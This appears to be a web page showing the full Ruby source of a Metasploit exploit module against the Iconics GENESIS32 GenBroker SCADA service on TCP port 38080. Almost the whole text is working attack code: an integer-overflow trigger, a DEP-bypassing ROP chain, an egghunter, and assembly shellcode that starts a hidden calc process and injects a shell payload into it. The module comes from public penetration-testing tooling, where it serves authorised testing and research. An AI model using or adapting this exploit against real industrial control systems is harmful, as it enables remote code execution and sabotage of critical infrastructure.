Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/iconics_genbroker.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Egghunter1011def initialize(info={})12super(update_info(info,13'Name' => "Iconics GENESIS32 Integer Overflow Version 9.21.201.01",14'Description' => %q{15The GenBroker service on port 38080 is affected by three integer overflow16vulnerabilities while handling opcode 0x4b0, which is caused by abusing the17the memory allocations needed for the number of elements passed by the client.18This results unexpected behaviors such as direct registry calls, memory location19calls, or arbitrary remote code execution. Please note that in order to ensure20reliability, this exploit will try to open calc (hidden), inject itself into the21process, and then open up a shell session. Also, DEP bypass is supported.22},23'License' => MSF_LICENSE,24'Author' =>25[26'Luigi Auriemma', #Initial discovery, poc27'Lincoln', #Metasploit28'corelanc0d3r <peter.ve[at]corelan.be>', #Metasploit + custom migrate fu29],30'References' =>31[32['OSVDB', '72817'],33['URL', 'http://aluigi.org/adv/genesis_4-adv.txt'],34['URL', 'https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-11-080-02']35],36'Payload' =>37{38'BadChars' => "\x00",39},40'DefaultOptions' =>41{42'EXITFUNC' => "thread",43},44'Platform' => 'win',45'Targets' =>46[47[48'Windows XP',49{50'Ret' => "\x70\x45",51'Max' => 9000,52}53],54],55'Privileged' => false,56'DisclosureDate' => '2011-03-21',57'DefaultTarget' => 0))5859register_options(60[61Opt::RPORT(38080)62])63end6465def exploit6667migrate_asm = %Q|68add esp,-500 ; adjust the stack to be sure69pushad ; save stuff7071find_kernel32: ;find kernel3272push esi ; Save esi73xor esi, esi ; Zero esi74mov eax, fs:[esi + 0x4] ; Extract TEB75mov eax, [eax - 0x1c]76find_kernel32_base:77find_kernel32_base_loop:78dec eax ; Subtract to our next page79xor ax, ax ; Zero the lower half80cmp word [eax], 0x5a4d ; Is this the top of kernel32?81jne find_kernel32_base_loop ; Nope? Try again.82find_kernel32_base_finished:83pop esi ; Restore esi8485mov edx,eax ; save base of kernel32 in edx8687jmp main_routine8889; find function pointer90find_function:91pushad ;save all registers92mov ebp, [esp + 0x24] ;base address of module that is being loaded in ebp93mov eax, [ebp + 0x3c] ;skip over MSDOS header94mov edx, [ebp + eax + 0x78] ;go to export table and put RVA in edx95add edx, ebp ;add base address to it.96mov ecx, [edx + 0x18] ;set up counter ECX (how many exported items are in array ?)9798mov ebx, [edx + 0x20] ;put names table relative offset in ebx99add ebx, ebp ;add base address to it (ebx = absolute address of names table)100101;(should never happen)102;unless function could not be found103find_function_loop:104jecxz find_function_finished ;if ecx=0, then last symbol has been checked.105106dec ecx ;ecx=ecx-1107;with the current symbol108;and store offset in esi109mov esi, [ebx + ecx * 4] ;get relative offset of the name associated110add esi, ebp ;add base address (esi = absolute address of current symbol)111112compute_hash:113xor edi, edi ;zero out edi114xor eax, eax ;zero out eax115cld ;clear direction flag.116117compute_hash_again:118lodsb ;load bytes at esi (current symbol name) into al, + increment esi119test al, al ;end of string ?120jz compute_hash_finished ;yes121ror edi, 0xd ;no, rotate value of hash 13 bits to the right122add edi, eax ;add current character of symbol name to hash accumulator123jmp compute_hash_again ;continue loop124125compute_hash_finished:126127find_function_compare:128cmp edi, [esp + 0x28] ;see if computed hash matches requested hash (at esp+0x28)129jnz find_function_loop ;no match, go to next symbol130mov ebx, [edx + 0x24] ;if match : extract ordinals table (relative offset and put in ebx)131add ebx, ebp ;add base address (ebx = absolute address of ordinals address table)132mov cx, [ebx + 2 * ecx] ;get current symbol ordinal number (2 bytes)133mov ebx, [edx + 0x1c] ;get address table relative and put in ebx134add ebx, ebp ;add base address (ebx = absolute address of address table)135mov eax, [ebx + 4 * ecx] ;get relative function offset from its ordinal and put in eax136add eax, ebp ;add base address (eax = absolute address of function address)137mov [esp + 0x1c], eax ;overwrite stack copy of eax so popad (return func addr in eax)138139find_function_finished: ;retrieve original registers (eax will contain function address)140popad141ret142143;--------------------------------------------------------------------------------------144find_funcs_for_dll:145lodsd ;load current hash into eax (pointed to by esi)146push eax ;push hash to stack147push edx ;push base address of dll to stack148call find_function149mov [edi], eax ;write function pointer into address at edi150add esp, 0x08 ;adjust stack151add edi, 0x04 ;increase edi to store next pointer152cmp esi, ecx ;did we process all hashes yet ?153jne find_funcs_for_dll ;get next hash and lookup function pointer154find_funcs_for_dll_finished:155ret156157;--------------------------------------------------------------------------------------158main_routine:159sub esp,0x1c ;allocate space on stack to store function addresses + ptr to string160mov ebp,esp161; ebp+4 : GetStartupInfo162; ebp+8 : CreateProcess163; ebp+C : VirtualAllocEx164; ebp+10 : WriteProcessMemory165; ebp+14 : CreateRemoteThread166; ebp+18 : Sleep167; ebp+1c : ptr to calc168169jmp get_func_hash170get_func_hash_return:171172pop esi ;get pointer to hashes into esi173;edi will be increased with 0x04 for each hash174lea edi, [ebp+0x4] ;we will store the function addresses at edi175176mov ecx,esi177add ecx,0x18178call find_funcs_for_dll ;get function pointers for all hashes179180; get our own startupinfo at esp+0x60181; ebp+4 = GetStartupInfo182mov edx,esp183add edx,0x60184push edx185call [ebp+0x4]186;ptr to startupinfo is in eax187188; create a new process189; pointer to string is in ecx190; ebp+8 = CreateProcessA191; ptr to startupinfo is now in eax192; no need to patch startupinfo, target runs as a service193; +2c : dwFlags : set to 0x1194; +30 : wShowWind : set to 0 (hide)195196; create the process197mov edi,eax198add edi,48199push edi ; lpProcessInformation : write processinfo here200push eax ; lpStartupInfo : current info (read)201push 0 ; lpCurrentDirectory202push 0 ; lpEnvironment203push 0x08000000 ; dwCreationFlags204push 0 ; bInHeritHandles205push 0206push 0207push esi ; ptr to calc208push 0209call [ebp+0x8]210; muahah calc ftw, now sleep a bit211push 0xbb8 ; 3 seconds212call [ebp+0x18]213214; allocate memory in the process (VirtualAllocEx())215; get handle216mov ecx,[edi]217push 0x40 ; RWX218push 0x1000 ; MEM_COMMIT219push 0x1000 ; size220push 0 ; address221push ecx ; handle222call [ebp+0xc]223224; eax now contains the destination225; WriteProcessMemory()226mov ecx,[edi] ; pick up handle again227push 0x1000 ; size228; pick up pointer to shellcode & push to stack229mov ebx,[esp+0x20]230add ebx,320231push ebx ; source232push eax ; destination233push ecx ; handle234call [ebp+0x10]235236; run the code (CreateRemoteThread())237mov ecx,[edi] ; pick up handle again238push 0 ; lpthreadID239push 0 ; run immediately240push 0 ; no parameter241mov ebx,[esp-0x4]242push ebx ; shellcode243push 0x2000 ; stacksize244push 0 ; lpThreadAttributes245push ecx246call [ebp+0x14] ; go baby !247248249get_func_hash:250call get_func_hash_return251db 0xD7 ;GetStartupInfoA252db 0xE3253db 0x7A254db 0x86255db 0x72 ;CreateProcessA256db 0xfe257db 0xb3258db 0x16259db 0x9c ;VirtualAllocEx260db 0x95261db 0x1a262db 0x6e263db 0xa1 ;WriteProcessMemory264db 0x6a265db 0x3d266db 0xd8267db 0xdd ;CreateRemoteThread268db 0x9c269db 0xbd270db 0x72 ;Sleep271db 0xB0272db 0x49273db 0x2D274db 0xDB275276; sneak in ptr to string too :)277db "calc"278db 0x00279|280281migrate = Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string282283nops = make_nops(10) * 4284thepayload = migrate << nops << payload.encoded285286eggoptions =287{288:eggtag => 'w00t',289}290291hunter, egg = generate_egghunter(thepayload, "", eggoptions)292293header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00"294header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"295header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"296header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40"297298rop_chain =299[3000x100b257b, # POP ESP # RETN3010x771a22e4, # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py)3020x10047355, # Duplicate, readable, RETN3030x10047355, # POP EAX # RETN ** [GenClientU.dll]3040xffffffde,3050x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll]3060x1011e33e, # XCHG EAX,EDX # RETN3070x1001ab22, # POP ECX # RETN ** [GenClientU.dll]3080x77dd1404, # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP)3090x100136c0, # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll]3100x1008cfd1, # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]3110x10080163, # POP ESI # RETN -> EDI3120x41414141,3130x41414141,3140xffffffff, # NtCurrentProcess() (EBX)3150x7c331d24, # ptr to 0x2 -> ECX3160x10090e3d, # XCHG EAX,EBP # RETN ** [GenClientU.dll]3170x10047355, # POP EAX # RETN ** [GenClientU.dll]3180xfffffffc,3190x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll]3200x100dda84, # PUSHAD # RETN ** [GenClientU.dll]3210x90908aeb, # go to egghunter322].pack('V*')323324sploit = target['Ret'] * 180325sploit << [0x74757677].pack('V') * 8326sploit << "\x77\x77"327sploit << hunter #32 byte hunter, no room for checksum328sploit << rop_chain329sploit << make_nops(28)330sploit << egg331332sploit << rand_text_alpha(target['Max']-sploit.length)333334connect335print_status("Sending request. This will take a few seconds...")336sock.put(header + sploit)337338handler339disconnect340341end342end343344345